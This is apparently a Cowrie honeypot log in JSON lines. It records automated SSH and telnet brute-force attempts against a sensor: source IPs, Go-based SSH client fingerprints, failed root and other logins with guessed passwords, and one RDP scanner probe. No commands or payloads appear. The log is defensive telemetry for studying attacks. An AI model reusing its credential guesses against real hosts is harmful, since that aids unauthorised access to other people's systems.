{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:f2:02:c2:46:92:2f:f4:4d:5f:e8:9e:0b:33:c5:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDhgOlsKI64Zk8/SQpTcAky9GIprtnPjcbNSwTB6aVW5ktQQkUJcCLKfejKayWEnSNtRGjanhXAfy2EX+6k6RaOBU5B6CF3ETNFRhPjsivYD2gigbjrR0bY8Xt0OHT5BZoJUzTSXBPQ1qugsz4tkcVjt4l/wvmoNH4h3ozXCFkbmJMZ9hK7/smQboSY01GBLHx0ccM3QxZsY5e0UVoMqRHE41da7mIgJ9sa1i66hslwPQUZKwS79ZYP/qe/OB/1RwGERBRWrGud5sZGut3oYSQQjoYzQDMwF9OAmM8bDD16g2a2AV+sy9la5LOEQAC9K+Y5hTZPJ17GQwPLn+1ZyWV3diODQ1cg87l1K/6X3qu/YqVEZh7mzqYrJTbQoS0soppnBELKFM3i+YRj8HxkuPBE4pOgCCPS1GElb4JlsQEfyiszgOW3oiBWj4beDFbbx3N32MLLgRHT72+aQ7g5VDVDk5+zCjQXyQsZCRKk7Svz/sZSaeT94i2GOnOcmlYHk1alK4VvlKfGl2Ie7G9B1sMnLwRGMvKR0kJp/aw9vFxnFBsCvZ3vLQKFs0b1JgT7fBkGq8hGmYpyrqqj7b6QcJJlcHPePjEkkBu37FUDpaHn3s6fK+pY8kLRiG/He8cSOH1OLrIvaKx4uWNhHsnuQxhgtHT9JXakuFdpdBe4hwwCcQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:24.716034Z","src_ip":"184.154.156.13","session":"cfd3e25943be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:7b:de:3d:29:11:b4:ab:49:b1:ef:5a:64:64:13:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCt3wDEOgK9jjmDuJSQJQUQd+LhtuuqzIbEMCCwc+qRfrKZQrieeCktuBmeyOjEWZ3HwxYZY+Sv2P9v0kxs5HRGJNdDzZdVt7Ko0yv0MVk2JzydwAAUaYNq51INOT0Fwo+fV7qxVfZLTWifcoPSLsQA3JXsepwVAHkFmLiqIDJiRd6fWTirr7c9JcCHVcGOVSg30DosmRh44sOSJHuJ+eoz7WqZxBpjUDM0IFXmOYLvV2ro8PEGP0/fvex1nk2DI/jkB/Tpg3UuLYKAgwipxmd6o81GyTiTd+jRWLPxyoZggOu0rteDr8izi/bq1/D+sUmg8ULlTlVH5dcI7A0z/4pGZl7KQnW3dCqPs4DKxjnAwiit7NXunYt97XPnn/IR5nwRlup7qKfdcXg4Ezgg4F91zjXBCQzB4DhybOUgrX/KKy12yIpiFUHDcubbj1/OfKwWZeRJ5PzV42GrVN6qH4FJJvyn1W2yozVINfdNWm7ERs3DgmStGw3sXAGv6FeOpryuAs+jbWaquvuotufpUBo6NBv9WnwOX0vg00vDefPvcO0RwqXtimqCyjIe6YI2QjulVtkvsXu8r82tb3Ap/GT5pgyskCfGclD3vT0yqJmepx6fMLkocYBXWNASaxDebEFk/H/SUIlYvXOJWfpZmLq8Xx1pc+46mYCllPGqxtCL9w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:7b:de:3d:29:11:b4:ab:49:b1:ef:5a:64:64:13:86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:24.751129Z","src_ip":"184.154.156.13","session":"cfd3e25943be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:7b:de:3d:29:11:b4:ab:49:b1:ef:5a:64:64:13:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCt3wDEOgK9jjmDuJSQJQUQd+LhtuuqzIbEMCCwc+qRfrKZQrieeCktuBmeyOjEWZ3HwxYZY+Sv2P9v0kxs5HRGJNdDzZdVt7Ko0yv0MVk2JzydwAAUaYNq51INOT0Fwo+fV7qxVfZLTWifcoPSLsQA3JXsepwVAHkFmLiqIDJiRd6fWTirr7c9JcCHVcGOVSg30DosmRh44sOSJHuJ+eoz7WqZxBpjUDM0IFXmOYLvV2ro8PEGP0/fvex1nk2DI/jkB/Tpg3UuLYKAgwipxmd6o81GyTiTd+jRWLPxyoZggOu0rteDr8izi/bq1/D+sUmg8ULlTlVH5dcI7A0z/4pGZl7KQnW3dCqPs4DKxjnAwiit7NXunYt97XPnn/IR5nwRlup7qKfdcXg4Ezgg4F91zjXBCQzB4DhybOUgrX/KKy12yIpiFUHDcubbj1/OfKwWZeRJ5PzV42GrVN6qH4FJJvyn1W2yozVINfdNWm7ERs3DgmStGw3sXAGv6FeOpryuAs+jbWaquvuotufpUBo6NBv9WnwOX0vg00vDefPvcO0RwqXtimqCyjIe6YI2QjulVtkvsXu8r82tb3Ap/GT5pgyskCfGclD3vT0yqJmepx6fMLkocYBXWNASaxDebEFk/H/SUIlYvXOJWfpZmLq8Xx1pc+46mYCllPGqxtCL9w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:24.755785Z","src_ip":"184.154.156.13","session":"cfd3e25943be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:24.788138Z","src_ip":"184.154.156.13","session":"cfd3e25943be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":40978,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ef37cc40a90","protocol":"ssh","message":"New connection: 62.133.62.83:40978 (159.203.135.109:22) [session: 5ef37cc40a90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:42.078089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:42.082698Z","src_ip":"62.133.62.83","session":"5ef37cc40a90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:42.161897Z","src_ip":"62.133.62.83","session":"5ef37cc40a90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"65432","message":"login attempt [root/65432] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:42.417084Z","src_ip":"62.133.62.83","session":"5ef37cc40a90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:43.498428Z","src_ip":"62.133.62.83","session":"5ef37cc40a90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":53413,"dst_ip":"10.17.0.5","dst_port":22,"session":"54781b70158e","protocol":"ssh","message":"New connection: 167.172.81.52:53413 (10.17.0.5:22) [session: 54781b70158e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:28:13.292489Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:28:13.331425Z","src_ip":"167.172.81.52","session":"54781b70158e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:28:13.340294Z","src_ip":"167.172.81.52","session":"54781b70158e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46996,"dst_ip":"10.17.0.5","dst_port":23,"session":"54f1866d0b65","protocol":"telnet","message":"New connection: 152.42.224.71:46996 (10.17.0.5:23) [session: 54f1866d0b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:28:54.120933Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":41788,"dst_ip":"159.203.135.109","dst_port":22,"session":"c46210b8a180","protocol":"ssh","message":"New connection: 103.173.227.57:41788 (159.203.135.109:22) [session: c46210b8a180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:28:56.856042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:28:56.860436Z","src_ip":"103.173.227.57","session":"c46210b8a180","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:28:57.101065Z","src_ip":"103.173.227.57","session":"c46210b8a180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cdjkjxm","message":"login attempt [root/cdjkjxm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:28:57.824991Z","src_ip":"103.173.227.57","session":"c46210b8a180","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:28:59.068986Z","src_ip":"103.173.227.57","session":"c46210b8a180","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":58820,"dst_ip":"10.17.0.5","dst_port":22,"session":"e57855862365","protocol":"ssh","message":"New connection: 80.94.92.184:58820 (10.17.0.5:22) [session: e57855862365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:04.068789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:04.080286Z","src_ip":"80.94.92.184","session":"e57855862365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:04.178934Z","src_ip":"80.94.92.184","session":"e57855862365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:04.612407Z","src_ip":"80.94.92.184","session":"e57855862365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:05.924253Z","src_ip":"80.94.92.184","session":"e57855862365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":56686,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ccf3468c033","protocol":"ssh","message":"New connection: 194.113.233.25:56686 (159.203.135.109:22) [session: 0ccf3468c033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:07.571931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:07.576921Z","src_ip":"194.113.233.25","session":"0ccf3468c033","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:07.666446Z","src_ip":"194.113.233.25","session":"0ccf3468c033","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"357753","message":"login attempt [root/357753] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:07.934653Z","src_ip":"194.113.233.25","session":"0ccf3468c033","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:09.027499Z","src_ip":"194.113.233.25","session":"0ccf3468c033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":54942,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f85f5512a69","protocol":"ssh","message":"New connection: 103.75.182.198:54942 (159.203.135.109:22) [session: 1f85f5512a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:12.192564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:12.197930Z","src_ip":"103.75.182.198","session":"1f85f5512a69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:12.448476Z","src_ip":"103.75.182.198","session":"1f85f5512a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"321321","message":"login attempt [root/321321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:13.203768Z","src_ip":"103.75.182.198","session":"1f85f5512a69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:14.457053Z","src_ip":"103.75.182.198","session":"1f85f5512a69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":51852,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c23023bc161","protocol":"ssh","message":"New connection: 103.15.222.183:51852 (10.17.0.5:22) [session: 0c23023bc161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:14.920973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:14.928663Z","src_ip":"103.15.222.183","session":"0c23023bc161","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:15.174349Z","src_ip":"103.15.222.183","session":"0c23023bc161","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxcv","message":"login attempt [root/qazxcv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:15.909772Z","src_ip":"103.15.222.183","session":"0c23023bc161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:17.157085Z","src_ip":"103.15.222.183","session":"0c23023bc161","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":50220,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba01ec65f706","protocol":"ssh","message":"New connection: 2.57.122.238:50220 (10.17.0.5:22) [session: ba01ec65f706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:22.380125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:29:22.388384Z","src_ip":"2.57.122.238","session":"ba01ec65f706","protocol":"ssh"}
